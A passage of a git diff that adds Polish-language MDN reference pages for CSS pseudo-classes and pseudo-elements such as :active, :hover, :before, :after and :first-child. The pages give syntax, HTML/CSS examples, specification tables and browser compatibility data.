+<p><code>Właściwość :active</code> CSS <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class </a><code>jest używany w momencie aktywowania danego elementu przez użytkownika. Podczas interakcji z myszą zazwyczaj jest to czas pomiędzy naciśnięciem przycisku myszy a zwolnieniem go.</code> Pseudo klasa <code>:active jest często używna z elementami HTML jak</code> {{HTMLElement("a")}} lub {{HTMLElement("button")}} ale nie tylko.</p>
+
+<p>Pseudo klasa :active może zostać zastąpiona przez inne pseudo-klasy powiązane z linkami, takie jak {{cssxref (": link")}}, {{cssxref (": hover")}} i {cssxref (": visited" )}}, które mogą się pojawić w kolejnych regułach. W celu dopasowania odpowiednich linków, należy umieścić: active we wszystkich innych regułach linków, zgodnie z definicją zlecenia LVHA:: link -: visited -: hover -: active.</p>
+
+<div class="note"><strong>Notatka:</strong> W systemach z wieloma przyciskami, CSS 3 określa pseudo klasę <code>:active</code> dla przycisku podstawowego.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<div id="example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html; highlight:[3]">&lt;body&gt;
+    &lt;h1&gt;:active przykład selektora CSS&lt;/h1&gt;
+    &lt;p&gt;Ten link zmieni się w czasie kliknięcia i zwolnienia&lt;a href="#"&gt;Mozilla Developer Network&lt;/a&gt;.&lt;/p&gt;
+&lt;/body&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[5]">body { background-color: #ffffc9 }
+a:link { color: blue } /* unvisited links */
+a:visited { color: purple } /* visited links */
+a:hover { <span class="st">font-weight: bold</span> } /* user hovers */
+a:active { color: lime } /* active links */</pre>
+</div>
+
+<div>{{EmbedLiveSample('example',600,140)}}</div>
+
+<h2 id="Specyfikacja"><span>Specyfikacja</span></h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+ <td>{{Spec2('CSS4 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+ <td>{{Spec2('CSS3 Selectors')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>4.0</td>
+ <td>5.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>Support on non-<code>&lt;a&gt;</code> elements</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.0")}}</td>
+ <td>8.0</td>
+ <td>7.0</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>6.0</td>
+ <td>6.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>Support on non-<code>&lt;a&gt;</code> elements</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}} [1]</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] By default, Safari Mobile does not use the {{cssxref(":active")}} state unless there is a <a href="/en-US/docs/Web/Reference/Events/touchstart"><code>touchstart</code></a> event handler on the relevant element or on the {{HTMLElement("body")}}.</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>Link-related pseudo-classes: {{cssxref(":link")}}, {{cssxref(":visited")}}, and {{cssxref(":hover")}}.</li>
+</ul>
diff --git a/files/pl/web/css/_colon_after/index.html b/files/pl/web/css/_colon_after/index.html
new file mode 100644
index 0000000000..71261c88bb
--- /dev/null
+++ b/files/pl/web/css/_colon_after/index.html
@@ -0,0 +1,63 @@
+---
+title: ':after'
+slug: 'Web/CSS/:after'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/::after'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Tworzy pseudoelement, który staje się ostatnim dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest <code>inline</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre>/* składnia CSS2 */ selektor:after { własności }
+/* składnia CSS3 */ selektor::after { własności }</pre>
+
+<p>Zapis<code> ::aft​er</code> został wprowadzony w CSS 3 w celu ustanowienia różnicy pomiędzy <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">pseudo klasami</a>, a <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo elementami</a>. Przeglądarki akceptują również notację <code>:after </code>wprowadzoną w CSS 2.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Prosty_przykład">Prosty przykład</h3>
+
+<pre>&lt;html&gt;
+ &lt;body&gt;
+ &lt;p&gt;akapit&lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre>p:after {
+ content: 'Koniec';
+ display: block;
+ margin-top: 3em;
+}
+</pre>
+
+<hr>
+<pre>body:after { content: 'Koniec dokumentu'; }
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Elementy wstawiane do dokumentu poprzez <code>:after</code> nie są widziane w drzewie dokumentu.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#before-and-after">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#gen-content">CSS 3</a></li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref(":before") }}, {{ Cssxref("content") }}</p>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/CSS/:after", "es": "es/CSS/after", "fr": "fr/CSS/:after" } ) }}</p>
diff --git a/files/pl/web/css/_colon_before/index.html b/files/pl/web/css/_colon_before/index.html
new file mode 100644
index 0000000000..5c1a1f3772
--- /dev/null
+++ b/files/pl/web/css/_colon_before/index.html
@@ -0,0 +1,60 @@
+---
+title: ':before'
+slug: 'Web/CSS/:before'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/::before'
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Tworzy pseudoelement, który staje się pierwszym dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest <code>inline</code>.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">element:before { własności }
+</pre>
+
+<p>Najczęściej używana jest własność {{ Cssxref("content") }}, która pozwala na wstawienie treści do pseudoelementu.</p>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p>Zobacz przykład</p>
+
+<pre>&lt;html&gt;
+ &lt;body&gt;
+ &lt;p&gt;akapit&lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre>p:before {
+ content: 'Tekst przed akapitem';
+ display: block;
+}
+</pre>
+
+<p> </p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Elementy wstawiane do dokumentu poprzez <code>:before</code> nie są widziane w drzewie dokumentu.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#before-and-after">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#gen-content">CSS 3</a></li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref(":after") }}, {{ Cssxref("content") }}</p>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/CSS/:before", "es": "es/CSS/before", "fr": "fr/CSS/:before" } ) }}</p>
diff --git a/files/pl/web/css/_colon_empty/index.html b/files/pl/web/css/_colon_empty/index.html
new file mode 100644
index 0000000000..5d0479f9a6
--- /dev/null
+++ b/files/pl/web/css/_colon_empty/index.html
@@ -0,0 +1,44 @@
+---
+title: ':empty'
+slug: 'Web/CSS/:empty'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:empty'
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Pseudoklasa <code>:empty</code> odnosi się do elementów, które nie posiadają żadnych węzłów potomnych (wliczając w to węzły tekstowe).</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">selektor:empty { własności }
+</pre>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre class="eval">span:empty::before { content: "pusty span"; font-style:italic; }
+</pre>
+
+<p>Powyższy przykład doda przed każdym pusty elementem span tekst "<em>pusty span</em> "</p>
+
+<pre class="eval">*:not(:empty) {<em>własności</em> }
+</pre>
+
+<p>Przykład nada własności wszystkim niepustym elementom.</p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Jeśli wewnątrz elementu znajduje się jakikolwiek znak, wliczając w to białe znaki, element nie będzie traktowany jako <code>empty</code></p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref("content") }}, {{ Cssxref(":not") }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/:empty", "es": "es/CSS/vac\u00edo", "fr": "fr/CSS/:empty" } ) }}</p>
diff --git a/files/pl/web/css/_colon_first-child/index.html b/files/pl/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..25e81d027e
--- /dev/null
+++ b/files/pl/web/css/_colon_first-child/index.html
@@ -0,0 +1,74 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:first-child'
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Pseudoklasa <code>:first-child</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on pierwszym węzłem potomnym swojego rodzica. <code>:first-child</code> ignoruje węzły tekstowe. Pseudoklasą, która działa identycznie, jednak uwzględnia węzły tekstowe jest {{ Cssxref(":first-node") }}.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">selektor:first-child { własności }
+</pre>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;html&gt;
+ &lt;body&gt;
+ Trochę tekstu.
+ &lt;span id="first"&gt;pierwszy&lt;/span&gt;
+ &lt;div&gt;
+ &lt;span id="dfirst"&gt;pierwszy&lt;/span&gt;
+ &lt;span id="dsecond"&gt;drugi&lt;/span&gt;
+ &lt;/div&gt;
+ &lt;span id="second"&gt;drugi&lt;/span&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<pre class="eval">span:first-child { font-weight: bold; }
+</pre>
+<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są pierwszymi dziećmi swoich rodziców. Zostaną tutaj pogrubione słowa "<b>pierwszy</b>": </p>
+<ol><li> W pierwszym przypadku span o id <code>first</code> jest pierwszym dzieckiem elementu <code>body</code>
+</li><li> W drugim przypadku span o id <code>dfirst</code> jest pierwszym dzieckiem elementu <code>div</code>
+</li></ol>
+<p><br>
+</p>
+<pre class="eval">div:first-child:last-child { background-color: red; }
+</pre>
+<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica.
+</p>
+<pre>&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Nagłówek k1&lt;/td&gt;
+ &lt;td&gt;Nagłówek k2&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Wiersz k1&lt;/td&gt;
+ &lt;td&gt;Wiersz k2&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Wiersz k1&lt;/td&gt;
+ &lt;td&gt;Wiersz k2&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Wiersz k1&lt;/td&gt;
+ &lt;td&gt;Wiersz k2&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+<pre class="eval">table tr:first-child { background-color: red; }
+</pre>
+<p>Ten przykład ustawi czerwone tło pierwszemu wierszowi tabeli (nagłówkowi).
+UWAGA: Ten przykład ma za zadanie pokazać jak działa pseudoklasa <code>:first-child</code>.
+</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":last-child") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/:first-child", "fr": "fr/CSS/:first-child" } ) }}
diff --git a/files/pl/web/css/_colon_first-letter/index.html b/files/pl/web/css/_colon_first-letter/index.html
new file mode 100644
index 0000000000..5de2e64cbd
--- /dev/null
+++ b/files/pl/web/css/_colon_first-letter/index.html
@@ -0,0 +1,49 @@
+---
+title: ':first-letter'
+slug: 'Web/CSS/:first-letter'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/::first-letter'
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Pseudoelement odnoszący się do pierwszej litery w bloku.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval notranslate">element::first-letter { własności }
+</pre>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre class="eval notranslate">p::first-letter { text-transform: uppercase; }
+</pre>
+
+<p>Przykład zamieni w każdym paragrafie pierwszą literę na wielką.</p>
+
+<pre class="eval notranslate">p::first-letter { color: red; }
+</pre>
+
+<p>Przykład zmieni kolor pierwszej litery na czerwony w każdym elemencie <code>p</code></p>
+
+
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Pseudoelementy nie mogą być negowane poprzez {{ Cssxref(":not") }}.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#first-letter">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#first-letter">CSS 3</a></li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("text-transform") }}</p>
diff --git a/files/pl/web/css/_colon_first-node/index.html b/files/pl/web/css/_colon_first-node/index.html
new file mode 100644
index 0000000000..123c08088b
--- /dev/null
+++ b/files/pl/web/css/_colon_first-node/index.html
@@ -0,0 +1,58 @@
+---
+title: ':first-node'
+slug: 'Web/CSS/:first-node'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:-moz-first-node'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Pseudoklasa <code>:first-node</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on pierwszym węzłem potomnym swojego rodzica. <code>:first-node</code> uwzględnia również węzły tekstowe składające się niebiałych znaków. Pseudoklasą, która działa identycznie, jednak nie uwzględnia węzłów tekstowych jest {{ Cssxref(":first-child") }}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">selektor:first-node { własności }
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>&lt;html&gt;
+ &lt;body&gt;
+ Trochę tekstu.
+ &lt;span id="first"&gt;pierwszy&lt;/span&gt;
+ &lt;div&gt;
+ &lt;span id="dfirst"&gt;pierwszy&lt;/span&gt;
+ &lt;span id="dsecond"&gt;drugi&lt;/span&gt;
+ &lt;/div&gt;
+ &lt;span id="second"&gt;drugi&lt;/span&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="eval">span:first-node { font-weight: bold; }
+</pre>
+
+<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są pierwszymi dziećmi swoich rodziców. Zostanie tutaj pogrubione tylko jedno słowo "<strong>pierwszy</strong>", ponieważ span o id <code>first</code> nie jest pierwszym dzieckiem elementu <code>body</code>. Pierwszym dzieckiem elementu <code>body</code> jest węzeł tekstowy.</p>
+
+<pre class="eval">div:first-node:last-child { background-color: red; }
+</pre>
+
+<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Jednak za elementem może znajdować się węzeł tekstowy.</p>
+
+<pre class="eval">div:first-child:last-node { background-color: red; }
+</pre>
+
+<p>Ten przykład natomiast ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Przed elementem może znajdować się węzeł tekstowy.</p>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Pseudoklasa <code>:first-node</code> nie jest obecnie obsługiwana. Skorzystaj z {{ Cssxref(":-moz-first-node") }}</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":last-node") }}</p>
diff --git a/files/pl/web/css/_colon_hover/index.html b/files/pl/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..91006dd99a
--- /dev/null
+++ b/files/pl/web/css/_colon_hover/index.html
@@ -0,0 +1,101 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+translation_of: 'Web/CSS/:hover'
+---
+<div>
+<p>{{CSSRef}}</p>
+
+<h2 id="Pseudo_klasahover">Pseudo klasa:hover</h2>
+</div>
+
+<p>Właściwość <strong><code>:hover</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a> jest używana gdy użytkownik wchodzi w interakcję z elementem za pomocą urządzenia wskazującego, ale niekoniecznie go aktywuje. Generalnie wyzwalanie następuje gdy użytkownik wskaże element kursorem, np. wskaźnikiem myszy.</p>
+
+<pre class="brush: css no-line-numbers">/* Wybierz każdy element &lt;a&gt;, który zostanie najechany kursorem */
+a:hover {
+ color: orange;
+}</pre>
+
+<p>Style zdefiniowane przez pseudo-klasę <code>:active</code> będą nadpisywane przez każdą kolejną powiązaną pseudo-klasę ({{ cssxref(":link") }}, {{ cssxref(":visited") }}, lub {{ cssxref(":active") }}) która ma conajmniej taką samą specyfikację. Aby dopasować odpowiednio linki umieść <code>:hover</code> za <code>:link</code> i <code>:visited</code> ale przed <code>:active</code> zgodnie z zasadą <em>LVHA </em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note"><strong>Notatka</strong>: Pseudo-klasa <code>:hover</code> wykazuje problem na ekranach dotykowych. W zależności od przeglądarki <code>:hover</code> może nigdy nie być  zgodna, może zmienić styl na czas wskazania elementu lub zmienić go do czasu oznaczenia innego elementu. Web developerzy powinni zadbać o to aby elementy działy również na urządzeniach z ograniczeniami obługi funkcji. </div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;Wskaż ten link.&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+ background-color: powderblue;
+ transition: background-color .5s;
+}
+
+a:hover {
+ background-color: gold;
+}</pre>
+
+<h4 id="Rezultat">Rezultat</h4>
+
+<p>{{EmbedLiveSample("Przykład")}}</p>
+
+<h3 id="Galeria_obrazów">Galeria obrazów</h3>
+
+<p>Możesz użyć pseudo-klasy <code>:hover</code> do utworzenia galerii obrazów, gdzie pełnowymiarowe obrazy będą wyświetlae wtedy, gdy kursor przesunie się nad miniaturą. Zobacz <a class="internal" href="/@api/deki/files/6247/=css-gallery.zip" title="css-gallery.zip">demo</a> takiego rozwiązania.</p>
+
+<div class="note"><strong>Notatka:</strong> Dla analogicznego efektu, ale opartego o pseudo-klasę <a class="internal" href="/en-US/docs/Web/CSS/%3Achecked"><code>:checked</code></a> (zastostosowane dla ukrytych radio-box'ów), zobacz<a class="internal" href="/@api/deki/files/6268/=css-checked-gallery.zip" title="css-checked-gallery.zip"> demo</a>, zaczerpnięte z strony dotyczącej <a class="internal" href="/en-US/docs/Web/CSS/:checked">:checked</a>.</div>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td>
+ <td>{{ Spec2('CSS4 Selectors') }}</td>
+ <td>Allows <code>:hover</code> to be applied to any pseudo-element.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td>
+ <td>{{ Spec2('CSS3 Selectors') }}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilne_przeglądarki">Kompatybilne przeglądarki</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.hover")}}</p>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium bug #370155: Don't make <code>:hover</code> sticky on tap on sites that set a mobile viewport</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium bug #306581: Immediately show hover and active states on touch when page isn't scrollable.</a></li>
+</ul>
diff --git a/files/pl/web/css/_colon_lang/index.html b/files/pl/web/css/_colon_lang/index.html
new file mode 100644
index 0000000000..c8bf3f144f
--- /dev/null
+++ b/files/pl/web/css/_colon_lang/index.html
@@ -0,0 +1,31 @@
+---
+title: ':lang'
+slug: 'Web/CSS/:lang'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:lang'
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pseudoklasa <code>:lang</code> pozwala na dopasowanie własności dla elementów w określonym języku. W <code>HTML4</code> odnosi się do atrybutu <code>lang</code>. W XML-u do <code>xml:lang</code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">selektor:lang(symbol) { własności }
+</pre>
+<p>Gdzie <code>symbol</code> to symbol języka zgodny z <a class="external" href="http://www.ietf.org/rfc/rfc3066.txt"> </a></p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Przykłady </a></h3>
+<pre class="eval"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">p:lang(pl) {<i>własności</i> }
+</a></pre>
+<p><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Zostaną zastosowane własności dla wszystkich elementów <code>P</code>, których atrybut <code>lang</code> ustawiony jest na <code>pl</code>. </a></p>
+<h3 id="Notatki" name="Notatki"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Notatki </a></h3>
+<p><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Jeśli dany element nie ma przepisanego atrybutu <code>lang</code> pod uwagę brany jest język ustawiony dla całego dokumentu. </a></p>
+<p> </p>
+<h3 id="Specyfikacje" name="Specyfikacje"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Specyfikacje </a></h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#lang">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#lang-pseudo">CSS 3</a></li>
+</ul>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":empty") }}</p>
diff --git a/files/pl/web/css/_colon_last-child/index.html b/files/pl/web/css/_colon_last-child/index.html
new file mode 100644
index 0000000000..c051571b1f
--- /dev/null
+++ b/files/pl/web/css/_colon_last-child/index.html
@@ -0,0 +1,51 @@
+---
+title: ':last-child'
+slug: 'Web/CSS/:last-child'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:last-child'
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Pseudoklasa <code>:last-child</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on ostatnim węzłem potomnym swojego rodzica. <code>:last-child</code> ignoruje węzły tekstowe. Pseudoklasą, która działa identycznie, jednak uwzględnia węzły tekstowe jest {{ Cssxref(":last-node") }}.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">selektor:last-child { własności }
+</pre>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;html&gt;
+ &lt;body&gt;
+ Trochę tekstu.
+ &lt;span id="first"&gt;pierwszy&lt;/span&gt;
+ &lt;div&gt;
+ &lt;span id="dfirst"&gt;pierwszy&lt;/span&gt;
+ &lt;span id="dsecond"&gt;drugi&lt;/span&gt;
+ &lt;/div&gt;
+ &lt;span id="second"&gt;drugi&lt;/span&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<pre class="eval">span:last-child { font-weight: bold; }
+</pre>
